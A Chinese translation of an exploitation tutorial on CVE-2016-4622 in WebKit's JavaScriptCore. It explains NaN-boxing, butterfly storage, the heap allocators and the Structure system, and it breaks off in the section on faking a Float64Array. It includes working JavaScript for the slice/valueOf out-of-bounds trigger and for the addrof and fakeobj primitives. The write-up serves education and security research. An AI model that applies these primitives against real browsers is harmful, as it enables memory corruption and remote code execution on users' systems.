翻譯自Jirairya,譯者水平有限,有錯誤和不當之處,望大佬指出。

原文出處:Attacking JavaScript Engines: A case study of JavaScriptCore and CVE-2016-4622

0 簡介

本文力圖以特定漏洞為例,介紹JavaScript引擎的利用,著重闡述JavaScriptCore,WebKit中的引擎。出現這個漏洞問題的是CVE-2016-4622。在2016年初的ZDI-16-485[1]被披露,它允許攻擊者注入錯誤的Javascript對象到引擎使地址溢出。利用這些,將導致在渲染器進程內部執行遠程代碼。但是該Bug已經在650552a版本修復。本文中的代碼片段來自于已經提交了的320b1fc版本,這個版本是最后一個容易受攻擊的版本。早在一年前的2fa4973版本發現了漏洞。所有的攻擊代碼都在Safari9.1.1上測試過。

對所述脆弱性的利用需要各種引擎內部構件的知識,當然,其本身也是很有趣的。因此,我們將通過一部分Javascript引擎的知識片段來討論,此處所講概念對于其他語言的引擎也適用。

不過,整體而言,Javascript語言的熟練度不會影響本文的閱讀。

1 Javascript引擎的概述

通常,Javascript引擎的架構:

  • 在編譯器的基本結構上,至少包含一個即時(JIT,just-in-time)編譯器

  • 能對JavaScript值操作的虛擬機

  • 在運行時,能提供一組內置對象和函數

我們不會太關注的編譯器基礎結構的內部工作,因為它們大多與本文討論的Bug無關。我們的目標,是從給定的源碼中將編譯器視為一個能發出字節碼的黑盒(在JIT編譯器下的本地代碼)

1.1 值,VM和Nan-boxing

通常,虛擬機(VM)具有可以直接執行發出字節碼的解釋器,VM通過基于堆棧的機器和圍繞堆棧的值實現(與基于寄存器的機器相反)。特定操作碼處理程序的實現類似于:

CASE(JSOP_ADD)
{
    MutableHandleValue lval = REGS.stackHandleAt(-2);
    MutableHandleValue rval = REGS.stackHandleAt(-1);
    MutableHandleValue res = REGS.stackHandleAt(-2);
    if (!AddOperation(cx, lval, rval, res))
        goto error;
    REGS.sp--;
}
END_CASE(JSOP_ADD)

注意,這個例子實際上來自Firefox的JavaScriptCore——Spidermonkey引擎(這以后就統稱為JSC),這是使用匯編語言形式編寫的解釋器,因此上面例子不是那么直觀。但感興趣的讀者可以在LowLevellnterpreter64.asm中找到JSC的低級解釋器(llint)的實現。

通常,第一級JIT編譯器(有時稱為基線JIT)負責消除解釋器的一些調度開銷,而高級JIT編譯器執行復雜的優化,類似于我們習慣用的預編譯器。優化JIT編譯器一般要預判,意味著它們將基于一些預測來執行優化,類似于“這個變量將總是包含一個數字“。如果猜測是不正確的,代碼將通常跳到一個較低的層。有關不同執行模式的更多信息,讀者可參考[2][3]

JavaScript是一種動態類型語言。因此,類型信息與運行時的值有關,而不是編譯時的變量和相關聯。 JavaScript類型系統[4]定義了原始類型(數字,字符串,布爾,空,未定義,符號)和對象(包括數組和函數)。特別地,在JavaScript語言中沒有如在其他語言中存在的類的概念。相反,JavaScript使用所謂的“基于原型的繼承”,其中每個對象都有一個(可能為空)對原型對象的引用,它的屬性在繼承父對象的基礎上擴展。感興趣的讀者參考JavaScript規范[5]了解更多信息。

出于性能原因,所有主要的JavaScript引擎都表示不超過8個字節的值(快速復制,適合64位體系結構上的寄存器)。有些瀏覽器,如Google的v8引擎就是使用帶標記的指針來表示值。其中最低有效位指示值是指針,還有可能是某種形式的立即數(如整數或定義過的符號特定值)。另外,Firefox中的JavaScriptCore(JSC)和Spidermonkey使用一個名為NaN-boxing的技術。 NaN-boxing利用多位模式呈現,因此這些位中的其他值可以被編碼。具體來說,每個IEEE 754(IEEE二進制浮點數算術標準)規定了浮點數所有指數位用不等于零的分數表示Nan-boxing。對于雙精度值[6],這就由2 ^ 51個不同的位模式(忽略符號位并將第一個小數位設置為1,所以這也可以表示nullptr)。在64位平臺上,目前只有48位用于尋址,其余32位整數和指針也就可以進行編碼。

JSC使用的方案在JSCJSValue.h中有很好的解釋,讀者可以閱讀。 重要的相關部分引用如下:

    * 前16位表示已編碼的JSValue的類型:
    *
    *     Pointer {  0000:PPPP:PPPP:PPPP
    *              / 0001:****:****:****
    *     Double  {         ...
    *              \ FFFE:****:****:****
    *     Integer {  FFFF:0000:IIII:IIII
    *
    *
    * 我們實現的方案通過對數值執行64位整數加法來對雙精度值進行編碼。這個                               
    * 操作之后,沒有編碼的雙精度值將以模式0x0000或0xFFFF開始。在執行浮 
    * 點運算之前,必須通過反轉該操作來解碼值。
    *
    * 
    * 用16位標志0xFFFF標記有符號位的32位整數。
    *
    * 用標志0x0000表示指針或者其他標志的立即數。而布爾值,空值和未定義 
    * 值由特定的、無效的指針值表示:
    *     False:     0x06
    *     True:      0x07
    *     Undefined: 0x0a
    *     Null:      0x02
    *

有趣的是,0x0不是有效的JSValue,這會導致內部引擎崩潰。

1.2 對象和數組

JavaScript中的對象本質上是作為(鍵,值)對存儲的屬性的集合,可以使用點運算符(foo.bar)或通過方括號(foo ['bar'])訪問屬性。至少在理論上,用作鍵的值在執行查找之前要轉換為字符串。

數組被規定為特殊(“異常”)對象,如果屬性名稱由32位整數表示,其屬性也稱為元素[7]。如今的大多數引擎將這個概念擴展到所有對象,然后數組變成具有特殊“length”屬性的對象,其值總是等于最高元素的索引加1。所有這些對象都有共同的屬性,都可以通過字符串、符號鍵、整數索引訪問。

在內部,JSC將屬性和元素存儲在同一個內存區域中,并在對象本身中存儲指向該區域的指針。這個指針指向區域的中間,屬性存儲在它的左邊(低地址),元素存儲在它的右邊, 還有一個小標題位于指向包含元素向量長度的地址之前。值向左向右擴展,類似于蝴蝶的翅膀 ,所以這個表現形式被稱為“Butterfly” ,在下文,我們將指針和指針指向的存儲器區域稱為“Butterfly”,之后注意這一點,會使文章的理解更加輕松一些。

--------------------------------------------------------
.. | propY | propX | length | elem0 | elem1 | elem2 | ..
--------------------------------------------------------
                            ^
                            |
            +---------------+
            |
  +-------------+
  | Some Object |
  +-------------+

雖然一般情況下,元素不必被線性地存儲在存儲器中。但特別地,諸如

    a = [];
    a[0] = 42;
    a[10000] = 42;

這段代碼將可能導致數組以某種稀疏模式存儲,其執行從給定索引到索引后備存儲器中的附加映射步驟。這樣的數組就不需要10001個索引值。數組不僅有許多存儲模型,還用使用許多不同的方法來存儲數據。例如,32位整數的數組可用本地形式存儲,以避免在Nanboxing操作時的解包和重新開始進程的情況,也節約了內存。因此,JSC在IndexingType.h定義了一組不同的索引類型。最重要的是:

    ArrayWithInt32      = IsArray | Int32Shape;
    ArrayWithDouble     = IsArray | DoubleShape;
    ArrayWithContiguous = IsArray | ContiguousShape;

這段代碼中,最后一段代碼存儲的是JSValues,而前兩段代碼存儲的是它們本機類型。在這一點上,讀者可能想知道如何在這個模型中執行屬性查找,這點將在后面深入討論這一點。但在JSC中被稱為“結構”的特殊元對象只與每個對象提供的從屬性名稱到索引值的映射相關聯。

1.3 函數

函數在Javascript語言中非常重要,在此我們有必要討論一下。

當執行函數主體時,兩個特殊的變量變得可用。其中一個變量是'arguments',提供對函數的參數(和調用程序)的訪問,從而使得能夠創建具有參數的函數。 另一個是“this”,它可以根據函數的調用來引用不同的對象:

  • 如果調用的函數為一個構造函數('new func()'類型),'this'指向新創建的對象。在函數定義期間設置了一個新對象的時候,構造的函數已經為函數對象設置了.prototype的屬性。
  • 如果調用的函數是某個對象的方法('obj.func()'類型),那么'this'將指向引用對象。
  • 否則'this'只是指向當前的全局對象。因為它不屬于任何函數。

由于函數是JavaScript中的第一類對象,它們也可以具有屬性。 我們已經看到了上面的.prototype屬性。 另外還有每個非常有趣的函數(實際上是函數原型)是.call和.apply函數,它們允許使用給定的“this”對象和參數調用它們。 例如,用它們實現裝飾器功能:

function decorate(func) {
    return function() {
        for (var i = 0; i < arguments.length; i++) {
            // do something with arguments[i]
        }
        return func.apply(this, arguments);
    };
}

這也能影響JavaScript函數在引擎中的使用,它們不能對引用對象的值做任何賦值行為,但是可以在函數方法的參數中設置任意值。 因此,所有JavaScript的內部函數不僅需要檢查其參數的類型,而且還要檢查this對象的類型。

在內部,內置函數和方法[8]通常以兩種方式實現:C++中的本地函數或JavaScript本身的函數。 讓我們來看看一個JSC中簡單的本地函數示例,用Math.pow()實現:

 EncodedJSValue JSC_HOST_CALL mathProtoFuncPow(ExecState* exec){
        // ECMA 15.8.2.1.13
        double arg = exec->argument(0).toNumber(exec);
        double arg2 = exec->argument(1).toNumber(exec);
        return JSValue::encode(JSValue(operationMathPow(arg, arg2)));
    }

我們可以看到:

  1. JavaScript本地函數的簽名
  2. 如何使用參數方法提取參數(如果沒有提供足夠的參數,則返回未定義的值)
  3. 如何將參數轉換為其所需類型?有一組轉換規則控制數組轉換成將要使用的數字。(稍后還有更多關于這點的內容)
  4. 如何對本地數據類型執行實際操作
  5. 如何將結果返回給調用者?在這種情況下,只需將基本數字編碼為值即可。

這里還有一個顯而易見的地方:各種核心功能(operationMathPow())都用分離開的函數操作,這樣就可以方便地從JIT編譯了的代碼調用函數,實現功能模塊化的操作。

2 Bug

Array.prototype.slice [9]的實現中會出現一個Bug。JavaScript中調用slice方法時,將調用位于ArrayPrototype.cpp中的本地函數arrayProtoFuncSlice:

    var a = [1, 2, 3, 4];
    var s = a.slice(1, 3);
    // s now contains [2, 3]

為了可讀性,將ArrayPrototype.cpp的代碼格式化之后精簡了一下,并標出了注釋語句,這段代碼在網上也是有跡可循的[10]

EncodedJSValue JSC_HOST_CALL arrayProtoFuncSlice(ExecState* exec)
{
    /* [[ 1 ]] */
    JSObject* thisObj = exec->thisValue()
    .toThis(exec, StrictMode)
    .toObject(exec);
    if (!thisObj)
        return JSValue::encode(JSValue());

    /* [[ 2 ]] */
    unsigned length = getLength(exec, thisObj);
    if (exec->hadException())
        return JSValue::encode(jsUndefined());

    /* [[ 3 ]] */
    unsigned begin = argumentClampedIndexFromStartOrEnd(exec, 0, length);
    unsigned end =
    argumentClampedIndexFromStartOrEnd(exec, 1, length, length);

    /* [[ 4 ]] */
    std::pair<SpeciesConstructResult, JSObject*> speciesResult =
    speciesConstructArray(exec, thisObj, end - begin);
    // We can only get an exception if we call some user function.
    if (UNLIKELY(speciesResult.first ==
                 SpeciesConstructResult::Exception))
        return JSValue::encode(jsUndefined());

    /* [[ 5 ]] */
    if (LIKELY(speciesResult.first == SpeciesConstructResult::FastPath &&
               isJSArray(thisObj))) {
        if (JSArray* result =
            asArray(thisObj)->fastSlice(*exec, begin, end - begin))
            return JSValue::encode(result);
    }

    JSObject* result;
    if (speciesResult.first == SpeciesConstructResult::CreatedObject)
        result = speciesResult.second;
    else
        result = constructEmptyArray(exec, nullptr, end - begin);

    unsigned n = 0;
    for (unsigned k = begin; k < end; k++, n++) {
        JSValue v = getProperty(exec, thisObj, k);
        if (exec->hadException())
            return JSValue::encode(jsUndefined());
        if (v)
            result->putDirectIndex(exec, n, v);
    }
    setLength(exec, result, n);
    return JSValue::encode(result);
}

代碼本質上執行以下操作:

  1. 獲取方法調用的對象(數組對象)
  2. 檢索數組的長度
  3. 將參數(開始和結束的索引參數)轉換為本地整數類型,并將它們限制了[0,length)的長度范圍
  4. 檢查是否使用了構造函數[11]
  5. 執行切片

最后一步的實現可以用這兩種方式完成:如果數組是具有密集存儲的本地數組,則將使用“fastSlice”,使用給定的索引和長度將內存值寫入新數組。如果快速路徑不可能,則使用簡單循環來獲取每個元素并將其添加到新數組。 注意,與在慢速路徑上使用的屬性訪問器相反,fastSlice不執行任何附加邊界檢查

看看代碼,很容易假定beginend之間的長度變量在被轉換為本地整數之后小于數組的長度。 然而,我們可以通過JavaScript類型轉換規則推翻這個假設。

2.2 關于Javascript類型轉換

JavaScript本質上是弱類型的語言,這就意味著它善于將不同類型的值轉換為當前所需要類型的值。 例如Math.abs(),它能返回參數的絕對值。 (以下是“有效”調用,不會引發異常):

Math.abs(-42);      // argument is a number
// 42
Math.abs("-42");    // argument is a string
// 42
Math.abs([]);       // argument is an empty array
// 0
Math.abs(true);     // argument is a boolean
// 1
Math.abs({});       // argument is an object
// NaN

相比之下,強類型的語言(如Python)在將字符串傳遞給abs()函數時,反而更容易拋出異常(在靜態語言下,會發生編譯錯誤)

數字類型的轉換規則在參考文獻[12]中有描述。掌握對象類型轉換成數字(或常見原始類型)的轉換規則是特別有趣的。 特別是,如果對象有一個名為“valueOf”的可調用屬性,它是一個原始值,這個程序則將被調用,并返回一個值。如:

Math.abs({valueOf: function() { return -42; }});
// 42

2.3 valueOf的利用

在使用arrayProtoFuncSlice方法的情況下,slice的復制操作是為了原始類型在argumentClampedIndexFromStartOrEnd中執行。“valueOf"也可以用于限制參數的范圍為[0,length]:

JSValue value = exec->argument(argument);
if (value.isUndefined())
return undefinedValue;
double indexDouble = value.toInteger(exec);  // Conversion happens here
if (indexDouble < 0) {
    indexDouble += length;
    return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length :
    static_cast<unsigned>(indexDouble);

        return indexDouble < 0 ? 0 : static_cast<unsigned>(indexDouble);
    }
    return indexDouble > length ? length :static_cast<unsigned>(indexDouble);

現在,如果我們修改valueOf()函數內其中一個參數的數組長度,那么slice方法的執行將繼續使用前面的長度,導致在memcpy期間越界訪問。

在這之前,如果縮減數組,我們必須調整元素存儲實際大小。從JSArray::setLength,我們可以很快看出.length轉換器的實現過程:

unsigned lengthToClear = butterfly->publicLength() - newLength;
unsigned costToAllocateNewButterfly = 64; // a heuristic.
if (lengthToClear > newLength &&
    lengthToClear > costToAllocateNewButterfly) {
    reallocateAndShrinkButterfly(exec->vm(), newLength);
    return true;
}

這段代碼展示了一個簡單的啟發式程序——避免太頻繁地重定位數組。 為了強制重定位數組,需要新的數組大小遠小于舊的大小,把有100元素的數組調整到0會成功。

有了這些,我們就可以利用Array.prototype.slice:

var a = [];
for (var i = 0; i < 100; i++)
a.push(i + 0.123);

var b = a.slice(0, {valueOf: function() { a.length = 0; return 10; }});
// b = [0.123,1.123,2.12199579146e-313,0,0,0,0,0,0,0]

正確的輸出是大小為10的數組填充了“未定義”值,因為數組在切片操作之前已被清除。 但是,我們可以在數組中看到一些浮點值,似乎已經可以看出一些數據存儲在數組之外。

2.4 反思Bug

這個特別的編程錯誤不是新的,并且已經被利用了一段時間[[13],[14],[15]。 這里的核心問題是處于可變的狀態,在堆棧幀(即數組對象的長度)中的“緩存”結合各種回調機制,可以執行用戶提供的代碼進一步向下調用堆棧 (用”valueOf“方法)。通過這個設置,很容易在整個函數中做出關于引擎狀態的假設。由于各種事件回調,DOM中也出現了同樣的錯誤問題。

3 JavascriptCore堆

在時候,我們已經通過數組讀取數據,但是并不知道這個過程中我們正在訪問的是什么。要明白這個過程,我們需要了解一些關于JSC堆分配器的一些背景知識。

3.1 垃圾收集器的基礎

JavaScript是一種具有垃圾回收的語言,這意味著程序員不需要關心內存的管理。相反,垃圾收集器將不時收集不可達的對象。

垃圾收集的其中一種方法是引用計數,其在許多應用中廣泛使用。 但是,目前,所有主要的JavaScript引擎都使用標記-掃描算法。 這里,收集器定期掃描所有活動對象,從一組根節點開始,然后釋放所有死對象。 根節點通常是位于棧上的指針,或者位于web瀏覽器上下文中的全局對象

垃圾收集系統之間有各種區別。我們現在將討論垃圾收集系統的一些關鍵特性,這應該有助于讀者理解一些相關的代碼。 熟悉本主題的讀者可以自由地跳過本章節。

首先第一個特性,JSC使用保守的垃圾收集器。實質上,這意味著GC不跟蹤根節點本身。但在GC期間,它將掃描堆棧中任何可能是指向堆的指針的值,并將它們視為根節點。而Spidermonkey使用精確的垃圾收集器,因此需要將所有對堆對象的引用包裝在堆棧中的指針類(Rooted <>)中,該指針類負責將對象注冊到垃圾收集器。

第二個特性,JSC使用增量垃圾回收器。這種垃圾收集器在幾個步驟中執行標記,并允許應用程序在其間運行,從而降低GC延遲。但是,這需要一些額外的努力才能正常工作。 考慮以下情況:

  • GC運行并訪問O對象及其所有引用的對象,它將O標記為已訪問和稍后暫停,以便應用程序可以再次運行。
  • 修改O對象,并且向其中添加對另一對象P的新引用。
  • 然后GC再次運行,但它不知道P對象.它已經完成標記階段,就直接釋放P的內存。

O對象和P對象是筆者所舉例子

為了避免這種情況,就要寫屏障并插入到引擎中,這種情況下會給垃圾收集器一個寫屏障的的信號。在JSC中,這些障礙使用WriteBarrier <>和CopyBarrier <>類實現。

寫屏障:當有老生代中的對象出現指向新生代對象的指針時,便記錄下來這樣的跨區指向。由于這種記錄行為總是發生在寫操作時,因此被稱為寫屏障。這樣可以建立老生代對象指向新生代對象的列表,判斷新生代指針是否存活。

最后一個特性,JSC使用移動和非移動垃圾收集器。 移動垃圾收集器將活對象移動到不同位置,并更新所有指向這些對象的指針。這對于在許多死對象的情況可以達到優化的效果,因為沒有用于這些死對象運行時的開銷(而不是將它們添加到空閑列表,整個存儲器區域被簡單地聲明為空) 。JSC將JavaScript的自身對象以及一些其他對象存儲在不移動的堆和標記的空間中,同時將"butterflies"和其他數組存儲在移動的堆和復制的空間內。

3.2 標記空間

標記空間是跟蹤所分配的單元的存儲器塊的集合。 在JSC中,在標記空間中分配的每個對象必須從JSCell類繼承,因此這些對象以8字節作為頭開始,除了其他字段之外,這個字段都包含GC使用的當前單元狀態,由收集器用于跟蹤其已訪問的單元。

還有一個值得提及的標記空間,JSC在每個標記塊的開頭存儲一個MarkedBlock實例:

inline MarkedBlock* MarkedBlock::blockFor(const void* p)
{

    return reinterpret_cast<MarkedBlock*>(

                reinterpret_cast<Bits>(p) & blockMask);

}

該實例具有指向擁有堆和VM實例的指針,如果它們在整個程序中不能使用,VM實例則允許引擎獲得這些指針。在執行某些操作時可能需要有效的MarkedBlock實例,這使得偽造對象更加困難。 因此,如果可能,有必要在有效標記塊內創建偽對象。

3.3-復制空間

復制空間存儲的緩沖區與標記空間內的某個對象是有相關聯的。這些大多是“Butterflies”,但類型數組的內容也可能位于這里。這就造成我們的內存泄露發生在這個內存區域。

復制的空間分配器非常簡單:

CheckedBoolean CopiedAllocator::tryAllocate(size_t bytes, void** out)
{
    ASSERT(is8ByteAligned(reinterpret_cast<void*>(bytes)));

    size_t currentRemaining = m_currentRemaining;
    if (bytes > currentRemaining)
        return false;
    currentRemaining -= bytes;
    m_currentRemaining = currentRemaining;
    *out = m_currentPayloadEnd - currentRemaining - bytes;

    ASSERT(is8ByteAligned(*out));

    return true;
}

它的本質上是一個bump分配器:在標記塊被完全使用之前,它將簡單地返回當前標記塊中的下一個N字節的存儲器。因此,它幾乎可以保證兩個后續的分配被放置在存儲器的相鄰位置(邊緣區域將是第一個被當前塊填充的地方)。

這對我們來說是個比較有利的。如果我們分配兩個數組,每個數組都有一個元素,那么兩個“Butterfly”將在每種情況下彼此相鄰。

4 打造exploit原語

雖然有問題的bug首先看起來像是越權訪問的錯誤,但它實際上可以成為更強大的漏洞利用,通過它我們可以新建一個Javascript數組,使用我們自定義的JSValues注入到其中,從而提升權限,進入引擎。

我們現在將利用給定的bug構造兩個exploit原語,允許我們

  1. 暴露任意JavaScript對象的地址

  2. 將偽造的JavaScript對象注入引擎。

我們將這兩個原語稱為“addrof”和“fakeobj”。

4.1 環境:Int64

正如我們之前所見,我們的exploit原語在當前返回的是浮點值而不是整數。至少在理論上,JavaScript中的所有數字都是64位浮點數[17]。 實際上,如已經提到的,出于性能原因,大多數引擎具有專用的32位整數類型,在必要時(在溢出時)會轉換為浮點值,所以不可能用JavaScript中的原語數來表示任意64位整數(特別是地址)。

因此,必須構建允許存儲64位整數實例的幫助模塊。它的滿足以下條件:

  • 從不同的參數類型初始化Int64的實例,參數類型可以是字符串、數字和字節數組。
  • 通過assignXXX方法將加法和減法的結果分配給現有實例。有時候,使用這些方法減少了更多的堆分配
  • 創建新實例,通過Add和Sub函數存儲加法或減法的結果。
  • 在雙精度,JSValues和Int64實例之間進行轉換,使底層的位模式保持不變。

最后值得進一步討論的是,正如我們上面已經看到的,我們獲得了一個double類型的數,其在底層內存中被轉換成我們想要的地址,我們需要在原生雙精度和我們的整數之間進行轉換,使得底層的位保持不變。可以考慮在下面c語言代碼中使用asDouble():

double asDouble(uint64_t num)
{
    return *(double*)&num;
}

asJSValue方法進一步遵守NaN-boxing程序流程,并產生具有給定位模式的JSValue。感興趣的讀者可參考所附源代碼歸檔文件中的int64.js文件,了解更多詳細信息。

有了這個方法,讓我們回到構建我們的兩個exploit原語。

4.2 addrof和fakeobj

這兩種原語都依賴于JSC在原生表示中存儲雙精度數組的事實,而不是NaN-boxing的表示。 這本質上允許我們寫入本地雙精度(索引類型是ArrayWithDoubles),但是引擎將它們視為JSValues(索引類型是ArrayWithContiguous),反之亦然。

這里是利用地址泄漏所需的步驟:

  1. 創建一個雙精度數組。這將在內部存儲為IndexingType ArrayWithDouble

  2. 使用自定義的valueOf函數設置對象

2.1 收縮先前創建的數組

2.2 分配一個新數組,其中只包含我們需要的對象,該對象是我們所想知道地址的對象。 這個數組位于復制空間,(很可能)被放置在新的“Butterfly”后面。

2.3 返回一個大于數組大小的值來觸發bug

  1. 調用目標數組上的slice(),將來自步驟2的對象作為參數之一

slice()保留了索引類型,我們可以在數組中找到所需要的具有64位浮點指針值的地址。因此,我們的新數組將被看做是原生的雙精度數據,允許我們泄露出任意的JSValue實例,從而泄露指針。

fakeobj原語基本上以另一種方式工作。 這里我們將本地雙精度注入到JSValues數組中,這允許我們創建JSObject指針:

  1. 創建一個雙精度數組。這將在內部存儲為IndexingType ArrayWithDouble

  2. 使用自定義的valueOf函數設置對象

2.1 收縮先前創建的數組

2.2 分配一個新數組,其中只包含我們需要的對象,該對象是我們所想知道地址的對象。 這個數組位于復制空間,(很可能)被放置在新的“Butterfly”后面。

2.3 返回一個大于數組大小的值來觸發bug

  1. 調用目標數組上的slice(),將來自步驟2的對象作為參數之一。

這兩個原語的實現如下:

function addrof(object) {
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push(i + 0.1337);   // Array must be of type ArrayWithDoubles

    var hax = {valueOf: function() {
        a.length = 0;
        a = [object];
        return 4;
    }};

    var b = a.slice(0, hax);
    return Int64.fromDouble(b[3]);
}

function fakeobj(addr) {
    var a = [];
    for (var i = 0; i < 100; i++)
        a.push({});     // Array must be of type ArrayWithContiguous

    addr = addr.asDouble();
    var hax = {valueOf: function() {
        a.length = 0;
        a = [addr];
        return 4;
    }};

    return a.slice(0, hax)[3];
}

4.3 利用準備

從這里我們的目標將變成,通過偽造一個JavaScript對象獲得一個任意的內存讀/寫原語。 我們面臨以下問題:

  • Q1. 我們想偽造什么樣的對象?
  • Q2. 我們如何偽造這樣的對象?
  • Q3. 我們在哪里放置偽對象以便我們知道它的地址?

一段時間以來,JavaScript引擎已經支持類型數組[18],類型數組是一種高效和高度優化的原始二進制數據存儲。它具有可變性(與Javascript字符串相反),這對于我們的偽對象來說是很好的候選對象,我們就可以從腳本控制它的數據指針來產生任意讀/寫的可用原語,最后達到我們的目的——偽造一個Float64Array實例。

我們接下來將討論第二個問題和第三個問題的時候,需要對JSC內部(即JSObject系統)進行另一番討論。

5 理解JSObject系統

JavaScript對象通過C++類的組合在JSC中實現。實現的核心在于JSObject類,它本身就是一個JSCell,并且由垃圾收集器跟蹤的。 JSObject的各種子類與不同的JavaScript對象相似,如Arrays(JSArray)、Typed arrays(JSArrayBufferView)或Proxys(JSProxy)。

我們現在將探討構成JSO引擎中的JSObjects的各個部分。

5.1 存儲屬性

屬性是Javascript對象的最重要的方面。我們也知道屬性在引擎中是怎么存儲的——通過“Butterfly”存儲。但這也只對了一半,除了“Butterfly”,JSObjects也可以進行內聯存儲(默認6個索引值,但運行時需要重新分析),其位于內存中的的對象之后。若不為"Butterfly"分配對象,則可能輕微影響引擎性能。

內聯存儲對我們來說,也是比較有用的。我們可以泄露一個對象的地址,進一步就知道它的內聯索引值的地址。這就很好的給我們提供了一個放置我們偽造對象的位置,也能在我們將對象放置在標記空間的時候避免一些額外的問題。

已經解決了第三個問題,我們回跳到第二個問題中。

5.2 JSObject的內聯

我們以一個例子開始這節內容,假設運行下面的JS代碼:

obj = {'a': 0x1337, 'b': false, 'c': 13.37, 'd': [1,2,3,4]};

這就導致以下對象:

(lldb) x/6gx 0x10cd97c10

0x10cd97c10: 0x0100150000000136 0x0000000000000000

0x10cd97c20: 0xffff000000001337 0x0000000000000006

0x10cd97c30: 0x402bbd70a3d70a3d 0x000000010cdc7e10

第一個4字節是JSCell;第二個是Butterfly指針,它是空的,因為所有的屬性都存儲在內聯中。接下來是四個屬性的內聯JSValue槽:一個integer,false,一個double和一個JSObject指針。如果我們要向對象添加更多屬性,則會在某一時刻會分配“Butterfly”來存儲這些。

那么JSCell里有什么呢?從JSCell.h中尋找答案:

  • StructureID m_structureID;

這是最有趣的一個,我們將在下面進一步探討。

  • IndexingType m_indexingType;

我們已經看過這個了,它指示對象元素的存儲模式。

  • JSType m_type;

單元格存儲類型:string,symbol,function,plain object,...

  • TypeInfo :: InlineTypeFlags m_flags;

這是一個對我們的目的來說不太重要的標志,JSTypeInfo.h包含更多信息。

  • CellState m_cellState;

我們也看過這個,它在收集期間由垃圾收集器使用。

5.3-關于JSObject結構

JSC可以創建描述JavaScript對象的結構或布局的元對象,這些對象表示的是內聯存儲或“Butterfly”(將它們都視為JSValue數組)中從屬性名稱到索引的映射,它們最基本的形式表示結構是<屬性名,槽索引>,它也可以用鏈表或散列圖的形式表示。為了替代在每個JSCell實例中存儲指向此結構的指針的存儲方法,開發人員決定將32位索引存儲到結構表中,以此為其他字段節省一些空間。

那么當一個新的屬性被添加到一個對象時會發生什么?如果這是第一次添加,那么將分配一個新的結構實例,該結構實例包含之前的槽,索引所有的退出屬性和新添加屬性。然后,屬性將被存儲在相應的索引處,這有可能需要重新分配“Butterfly”的存儲。為了避免重復該過程,可以在被稱為“轉換表”的數據結構中緩存Structure實例在之前的結構中。也可以調整原始結構,分配更多的內聯或“Butterfly”存儲空間來避免重新分配結構實例。這種機制最終使結構可重復使用。

舉個例子:

var o = { foo: 42 };
if (someCondition)
    o.bar = 43;
else
    o.baz = 44;

這將導致創建以下三個結構實例,這里顯示為(任意)屬性名稱到槽索引的映射:

+-----------------+          +-----------------+
|   Structure 1   |   +bar   |   Structure 2   |
|                 +--------->|                 |
| foo: 0          |          | foo: 0          |
+--------+--------+          | bar: 1          |
         |                   +-----------------+
         |  +baz   +-----------------+
         +-------->|   Structure 3   |
                   |                 |
                   | foo: 0          |
                   | baz: 1          |
                   +-----------------+

每當這段代碼再次執行時,創建的對象的正確結構將很容易被找到。

基本上相同的概念被如今所有主流引擎使用使用。就這段代碼而言,V8調用他們的處理系統或隱藏類[19],而Spidermonkey調用他們的圖形處理器。

這種技術也使預測性的JIT編譯器更簡單。 假設以下函數:

function foo(a) 
{
    return a.bar + 3;
}

進一步假設,我們在解釋器中已經執行了幾次上面的函數,現在為了獲得更好的性能,將它編譯為本機代碼,我們該如何處理屬性查找? 我們可以簡單地跳轉到解釋器執行查找,但這個代價是相當昂貴的。假設我們還跟蹤了給foo的對象作為參數,發現它們都使用相同的結構。 我們現在可以生成(偽)匯編代碼,如下所示。 這里r0最初指向參數對象:

mov r1, [r0 + #structure_id_offset];
cmp r1, #structure_id;
jne bailout_to_interpreter;
mov r2, [r0 + #inline_property_offset];

這只是幾個慢于本地語言(如C語言)屬性的幾個指令。請注意,結構ID和屬性偏移量被緩存在代碼本身內部,這類代碼的結構名稱叫做內聯緩存。

除了屬性映射,結構還存儲對ClassInfo實例的引用,該實例包含的類有Float64ArrayHTMLParagraphElement...,也可以通過以下小腳本理解:

Object.prototype.toString.call(object);
// Might print "[object HTMLParagraphElement]"

然而,ClassInfo的更重要的屬性是它的MethodTable引用,MethodTable包含一組函數指針,其類似于C++中的vtable。 大多數對象的相關操作[20]以及一些垃圾處理器的相關任務(例如訪問所有引用的對象)都通過方法表中的方法實現。為了了解如何使用方法表,我們將通過下面列出的JSArray.cpp的代碼片段來說明。此函數是JavaScript數組的ClassInfo實例的MethodTable的一部分,并且每當刪除這樣的實例的屬性時被調用[21

bool JSArray::deleteProperty(JSCell* cell, ExecState* exec,PropertyName propertyName)
{
    JSArray* thisObject = jsCast<JSArray*>(cell);

    if (propertyName == exec->propertyNames().length)
        return false;

    return JSObject::deleteProperty(thisObject, exec, propertyName);
}

正如我們所見,deleteProperty有一個特殊情況,它不會刪除數組的.length屬性,只是將請求轉發給父對象實現。

下圖總結了(并稍微簡化了)不同C ++類之間一起構建JSC對象系統的關系:

            +------------------------------------------+
            |                Butterfly                 |
            | baz | bar | foo | length: 2 | 42 | 13.37 |
            +------------------------------------------+
                                          ^
                                +---------+
               +----------+     |
               |          |     |
            +--+  JSCell  |     |      +-----------------+
            |  |          |     |      |                 |
            |  +----------+     |      |  MethodTable    |
            |       /\          |      |                 |
 References |       || inherits |      |  Put            |
   by ID in |  +----++----+     |      |  Get            |
  structure |  |          +-----+      |  Delete         |
      table |  | JSObject |            |  VisitChildren  |
            |  |          |<-----      |  ...            |
            |  +----------+     |      |                 |
            |       /\          |      +-----------------+
            |       || inherits |                  ^
            |  +----++----+     |                  |
            |  |          |     | associated       |
            |  | JSArray  |     | prototype        |
            |  |          |     | object           |
            |  +----------+     |                  |
            |                   |                  |
            v                   |          +-------+--------+
        +-------------------+   |          |   ClassInfo    |
        |    Structure      +---+      +-->|                |
        |                   |          |   |  Name: "Array" |
        | property: slot    |          |   |                |
        |     foo : 0       +----------+   +----------------+
        |     bar : 1       |
        |     baz : 2       |
        |                   |
        +-------------------+

6 Exploitation

既然我們已稍微了解JSObject類的內部,現在讓我們回到創建Float64Array實例當中,這將為我們提供一個任意的內存讀寫原語。 顯然,最重要的部分是JSCell頭中的結構ID,相關的結構實例使我們的存儲器“看起來像”一個Float64Array的引擎。 因此,我們需要知道結構表中的Float64Array結構的ID。

6.1 猜想結構字符

不幸的是,結構ID在需要時運行才會被分配,結構ID在不同的運行中不一定是靜態的。此外,在引擎啟動期間創建的結構ID是與版本相關的。因此,我們不知道Float64Array實例的結構ID,需要用某種方式去確定它。

